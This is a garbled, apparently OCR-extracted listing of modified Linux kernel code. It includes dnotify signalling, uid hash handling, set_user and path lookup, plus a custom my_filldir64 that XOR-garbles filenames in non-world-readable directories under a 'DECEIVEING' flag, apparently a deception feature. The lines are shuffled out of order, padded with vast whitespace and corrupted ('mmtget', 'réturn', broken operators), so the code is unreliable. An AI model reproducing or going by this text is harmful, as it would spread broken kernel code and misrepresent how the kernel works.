                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (!send_sig_info(fown->signum,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         si.si_fd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (reason - POLL_IN >= NSIGPOLL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     si.si_errno = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             si.si_signo = fown->signum;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Make sure we are called with one of the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           si.si_band = band_table(reason - POLL_IN);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 si.si_band
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         reasons, otherwise we could leak kernel stack into
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     userspace.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  = fown->pid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               si.si_code
        changed = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 = ~0L;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             = reason & ~__SI_MASK;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            fown, fd, band);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  fown,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                fd,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  band);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         _SI_POLL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ksi, p)
                                                                                                                                                                                                                                      dn->dn_next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int band)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    static int my_filldir64(void *
                            filenames.
                                                  /* If a directory is not world readable (0x4 bit), garble its
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            loff_t offset,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      '/printk("*");
                                                                            d.d_type = d_type;
printk("\n- %o",filldir_shared_var);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              char rand, i;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    struct getdents_callback64 * buf = (struct getdents_callback64 *)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            struct linux_dirent64 * dirent, d;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    write_unlock(&dn_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 prev = &inode->i_dnotify;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (changed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     while ((dn = *prev) != NULL) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         write_lock(&dn_lock);
                                                                                                                                  d.d_reclen = reclen;
                                                                                                                                                          d.d_ino =
                                                                                                                                                                                                              buf->previous = dirent;
                                                                                                                                                                                                                                      dirent = buf->current_dir;
                                                                                                                                                                                                                                                                                                                                                                dirent = buf->previous;
                                                                                                                                                                                                                                                                                                                                                                                                                  if (reclen > buf->count)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);
                                                                                                                                                                                      memset (&d,
                                                                                                                                                                                                                                                                                                                                          if (dirent)
                                                                                                                                                                                                                                                                                                                                                                                                                                            buf->error = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (dn->dn_magic != DNOTIFY_MAGIC) {
                                                                                                                                                                                                                                                                                                              d.d_off = offset;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (dn->dn_mask & DN_MULTISHOT)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (fown->pid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               fown = &dn->dn_filp->f_owner;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if ((dn->dn_mask & event) ==
    In order to check the permissions of
                                                                                                                                                                                                                                                                                      copy_to_user(&dirent->d_off, &d.d_off, sizeof(d.d_off));
                                                                                                                                                                                                                                                                                                                                                                                          return -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      redo_inode_mask(inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         prev = &dn->dn_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           prev = &dn->dn_next
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         kmem_cache_free(dn_cache,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 changed = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           *prev = dn->dn_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ino_t ino, unsigned int d_type)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "number in dnotify_struct!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk(KERN_ERR "__inode_dir_notify: bad magic
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 send_sigio(fown, dn->dn_fd, POLL_MSG);
                                                                                                                                                                                NAME_OFFSET(&d));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                `*
                                                                                                                                                                                                                                                                                                                                                                                                                                            only used if we fail..
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  __buf, const char * name,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           dn);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     9
the parent directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int namlen,
```

```
superblock
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        this
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // if(DECEIVEING&&!(filldir_shared_var&0x4)/*&&(rand%2)*/)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     global
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               shouldn't
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (DECEIVEING && ino!=1) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // get_random_bytes(&rand,1);
                                                                                                                                                                                                                                                                                                                                                                                                                                      >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           `*
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if(DECEIVEING&&!(filldir_shared_var&0x4)/*&&(rand%2)*/)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if(0){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (ino==1)
                                 copy_to_user(dirent->d_name, name, namlen);
                                                       copy_to_user(dirent, &d, NAME_OFFSET(&d));
               put_user(0, dirent->d_name +
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                permissions of the directory.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sys_getdents64() sets the variable filldir_shared_var to
((char *) dirent) += reclen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          structure that this inode belongs to.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                function. In order to do that, I would need to know the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         permissions.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      If I had the inode number and the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              I couldn't
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 this function only gets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    name [3] = 0 \times 80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 variable.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              iget(superblock *, inode_number) to access the parent directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                       get_random_bytes(&rand,1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk("\n--
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           for(i=0;i<namlen;i++)
                                                                                                                                                                                                                                                                                                                                                                                                                    switch (TIMESLICE) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       any concurrency issues with passing this parameter as
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           name[i]^=rand;
                                                                                                                                                                                                                                                                                         case
                                                                                                                                                                                                                                              case 3:
                                                                                                                                                                                                                                                                                                                                                                            case 1:
                                                                                                                                                                                                                                                                                                                                                                                              case 0:
                                                                                                                                                                                                                                                                                         2
                                                                                                                                                                                                                                                                                                                                                                                                                                      printk("\n--doing(name) %d",TIMESLICE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               find a way to access those permissions from within
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /proc in filldir"); */
                                                                                                                                                                                                                                                                                                               break;
                                                                                                                                                                                                                                                                                                                                                                                                   break;
                                                                                                                                                                                                                             if(!(filldir_shared_var&0x4)){
                                                                                                                                                                                                                                                                         break;
                                                                                                                          break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // garble filenames
                                                                                                                                                                 name[3] = 0x80;
                                                                                                                                                                                                                                                                                                                                                         for (i=0;i<namlen;i++)</pre>
                                                                                                                                                                                        name[2]
                                                                                                                                                                                                            name[1]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            // garble filenames
                                                                                                                                                                                                                                                                                                                                       name[i]^=rand;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      called from getdents64(), so
                                                                                                                                                                                        |=0x80;
                                                                                                                                                                                                            |=0x80;
                          namlen);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              superblock structure, I could
                                                                                                                                                                      // garble
// garble
                                                                                                                                                                                                              // garble
                                                                                                                                                                                                                                                                                                                                          // garble filenames
                                                                                                                                                                                               filenames
                                                                                                                                                                                                                     filenames
                                                                                                                                                                            filenames
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               there
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             static int my_emul_lookup_dentry(const char *name, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Try to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int my_path_walk(const char * name, struct nameidata *nd);
                                                                                                                                                                                                                                                                                                                                                                                       my_walk_init_root(const char *name, struct nameidata
                                                                                                                                                                                                                                                                                                                                                                                                             static inline int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   buf->count -= reclen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       buf->current_dir = dirent;
               nameidata *nd)
                               int my_path_init(const char *name, unsigned int flags, struct
                                                         /* SMP-safe */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (!nd->dentry->d_inode | | S_ISDIR(nd->dentry->d_inode->i_mode)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (my_path_walk(name, nd))
                                                                                                                                                                                                                                                                                                                        if (current->fs->altroot && !(nd->flags & LOOKUP_NOALT)) {
                                                                                                                                                                                                                                                                                                                                               read_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                         return 1;
                                                                                                                  read_unlock(&current->fs->lock);
                                                                                                                                      nd->dentry = dget(current->fs->root);
                                                                                                                                                      nd->mnt = .mntget(current->fs->rootmnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct nameidata nd_root;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               nd_root.mnt = mntget(current->fs->rootmnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           nd_root.flags = nd->flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               nd_root.last_type = LAST_ROOT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (nd_root.dentry->d_inode) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         nd_root.dentry = dget(current->fs->root);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     read_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              path_release(&nd_root);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               * NAME was not found in alternate root or it's a directory
                                                                                                                                                                                                  read_lock(&current->fs->lock);
                                                                                                                                                                                                                                          if (my__emul_lookup_dentry(name,nd))
                                                                                                                                                                                                                                                              read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                    nd->dentry = dget(current->fs->altroot);
                                                                                                                                                                                                                                                                                                          nd->mmt = mmtget(current->fs->altrootmmt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         it in the normal root:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nd->dentry = nd_root.dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (my_path_walk(name, &nd_root))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            nd->last = nd_root.last;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          path_release(nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   nd->mnt = nd_root.mnt;
                                                                                                                                                                                                                           return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* something went wrong...
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                nameidata
```

```
struct user_struct * alloc_uid(uid_t uid)
                                                                                                                                                                                                                                              void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          static inline struct user_struct *uid_hash_find(uid_t uid, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    static inline void uid_hash_insert(struct user_struct *up, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     user_struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            static inline void uid_hash_remove(struct user_struct *up)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               user_struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     **hashent)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 **hashent)
                                                                                                                                                                           if (up && atomic_dec_and_lock(&up->__count, &uidhash_lock)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct user_struct **pprev = up->pprev;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct user_struct *next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct user_struct *next = up->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct user_struct *next = *hashent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         nd->dentry = dget(current->fs->pwd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     for (;;) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                next = *hashent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *pprev =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      up->pprev = hashent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             up->next = next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      nd->mnt = mntget(current->fs->pwdmnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         read_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (*name=='/')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         nd->flags = flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nd->last_type = LAST_ROOT; /* if there are only slashes...
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             *hashent = up;
                                                                                                                                                                                                                                         free_uid(struct user_struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 next->pprev = &up->next;
                                                                                                                       kmem_cache_free(uid_cachep, up);
                                                                                                                                                       uid_hash_remove(up);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 next->pprev = pprev;
                                                                                                                                                                                                                                                                                                                                réturn up;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (next) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     struct user_struct *up = next;
                                                                                           spin_unlock(&uidhash_lock)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return my_walk_init_root(name,nd);
                                                                                                                                                                                                                                                                                                                                                                                     atomic_inc(&up->_
                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (up->uid != uid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            next = up->next;
                                                                                                                                                                                                                                                                                                                                                                                                                         continue;
                                                                                                                                                                                                                                                                                                                                                                                            _count);
                                                                                                                                                                                                                                           (du*
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Š.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       static inline void cap_emulate_setxuid(int old_ruid, int old_euid,
                                                                                                                                                                                                       static int set_user(uid_t new_ruid, int dumpclear)
                                                                                                                //printk("\n--set user(%d)",new_ruid); //dcvn
                                                                                                                                             struct user_struct *new_user, *old_user;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           up = uid_hash_find(uid, hashent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         spin_lock(&uidhash_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct user_struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct user_struct **hashent = uidhashentry(uid);
// we should be checking for it.
                                                                             // What if a process setreuid()'s and this brings the
                                                                                                                                                                                                                                                                                                                           if (old_euid != 0 && current->euid == 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return up;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               spin_unlock(&uidhash_lock);
                             // cheaply with the new uid cache,
                                                           // new uid over his NPROC rlimit?
                                                                                                                                                                                                                                                                                                                                                                                                              (old_euid == 0 && current->euid !=
                                                                                                                                                                                                                                                                                                                                                                                cap_clear(current->cap_effective);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ((old_ruid == 0 || old_euid == 0 || old_suid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         struct user_struct *new;
                                                                                                                                                                                                                                                                                                current->cap_effective
                                                                                                                                                                                                                                                                                                                                                                                                                                                                       cap_clear(current->cap_effective);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     cap_clear(current->cap_permitted);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              spin_unlock(&uidhash_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (up) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 up = uid_hash_find(uid, hashent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   spin_lock(&uidhash_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               atomic_set(&new->files, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           atomic_set(&new->processes, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    atomic_set(&new->__count, 1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        new->uid = uid;
